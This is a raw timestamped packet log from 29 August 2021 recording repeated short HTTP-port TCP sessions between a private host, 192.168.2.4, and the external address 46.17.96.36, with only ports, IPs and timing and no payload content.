Aug 29, 2021 22:27:27.858853102 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.858918905 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.859014988 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.859263897 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.859352112 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.859373093 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.859407902 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.859502077 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.859544992 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.892399073 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.892433882 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.892457008 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.892518044 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.892569065 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.892582893 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.892605066 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.892627954 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.892704010 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.892734051 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.892776966 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.892818928 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.892864943 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.924747944 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.924783945 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.924890995 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.924894094 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.924992085 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.925115108 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.925235987 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.925283909 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.925323009 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.925436020 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.925461054 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.925652981 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.925796986 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.925822020 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.926004887 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.926032066 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.926299095 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.926328897 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.957123041 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.957163095 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.957179070 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.957211971 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.957427979 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.957530975 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.957767010 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.991939068 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.992160082 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.223288059 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.224430084 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.255548954 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.255630970 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.259351015 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.260324955 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.260916948 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.260962009 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.261349916 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.261395931 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.296262026 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.296292067 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.296907902 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.297020912 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.297034025 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.297068119 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.297095060 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.297112942 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.297121048 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.297147036 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.297178984 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.333939075 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.333988905 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.334026098 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.334065914 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.334072113 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.334093094 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.334104061 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.334120035 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.334157944 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.334187984 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.334209919 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.334232092 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.334331036 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.334423065 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.334497929 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.369349957 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.369554996 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.369733095 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.369786024 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.369824886 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.369843006 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.369856119 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.369868040 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.369918108 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.369981050 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.370456934 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.370495081 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.370538950 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.370553017 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.370577097 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.370613098 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.370649099 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.370704889 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.370738983 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.370877981 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.371059895 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.371093035 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.405101061 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.405138016 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.405155897 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.405172110 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.405380964 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.405407906 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.405433893 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.405792952 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.406013966 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.445931911 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.446013927 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.639327049 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.640413046 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.675240993 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.675357103 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.675683022 CEST	80	49777	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.675805092 CEST	49777	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.676486969 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.676611900 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.676836967 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.676965952 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.710474014 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.710511923 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.710529089 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.710544109 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.710568905 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.710592031 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.710614920 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.710676908 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.710719109 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.710733891 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.745347023 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.745382071 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.745403051 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.745495081 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.745538950 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.745558023 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.745611906 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.745683908 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.779361963 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.779392004 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.779408932 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.779426098 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.779437065 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.779453993 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.779458046 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.779464960 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.779517889 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.779550076 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:28.779592037 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.779709101 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.779736996 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.779808998 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.813194990 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.813220978 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.813232899 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.813345909 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.813508034 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.850677013 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:28.850863934 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.091459036 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.092854977 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.124918938 CEST	80	49778	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.125045061 CEST	49778	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.128472090 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.128640890 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.129292965 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.129467964 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.129683971 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.129825115 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.164733887 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.164832115 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.164859056 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.164936066 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.165026903 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.165091991 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.165204048 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.165406942 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.165432930 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.165568113 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.165612936 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.200558901 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.200601101 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.200627089 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.200650930 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.200702906 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.200740099 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.200865030 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.200938940 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.201000929 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.201025009 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.201092005 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.201168060 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.201283932 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.201421022 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.201456070 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.201482058 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.201562881 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.201590061 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.201605082 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.201668024 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.236496925 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.236527920 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.236541986 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.236608028 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.236622095 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.236649990 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.236701012 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.236713886 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:29.236814976 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.236980915 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.236995935 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.237126112 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.237200975 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.237281084 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.237494946 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.237668991 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.237867117 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.237979889 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.238147974 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.238579035 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.238699913 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.238774061 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.239046097 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.273098946 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.273122072 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.273130894 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.273263931 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.273279905 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.273288965 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.310905933 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:29.311022043 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.325795889 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.327233076 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.361625910 CEST	80	49779	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.362430096 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.363334894 CEST	49779	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.363348007 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.364165068 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.364429951 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.364464045 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.364554882 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.399327040 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.399476051 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.399647951 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.399662971 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.399724960 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.399805069 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.399867058 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.399939060 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.399954081 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.400058031 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.400140047 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.400685072 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.435440063 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.435501099 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.435542107 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.435579062 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.435656071 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.435724974 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.435725927 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.435786963 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.435986042 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.436028004 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.436086893 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.436121941 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.471195936 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.471249104 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.471276045 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.471445084 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.471476078 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.471510887 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.471694946 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.471833944 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.471914053 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.471992970 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.472798109 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.472836018 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.472867966 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.472940922 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.472982883 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.473020077 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.473063946 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.473150015 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.473222017 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.473257065 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.473366022 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.473527908 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.506870985 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.506974936 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.507004023 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.507028103 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.507159948 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.507371902 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.507395029 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.507534027 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.507723093 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.507837057 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.549608946 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.550679922 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.788625956 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.791109085 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.823714018 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.824100018 CEST	80	49780	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.824273109 CEST	49780	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.824286938 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.824812889 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.824939966 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.825229883 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.825316906 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.857115984 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.857135057 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.857264042 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.857281923 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.857336044 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.857372046 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.857424021 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.857434988 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.857649088 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.857664108 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.857777119 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.857779980 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.857819080 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.857836962 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.889808893 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.889832973 CEST	80	49783	46.17.96.36	192.168.2.4
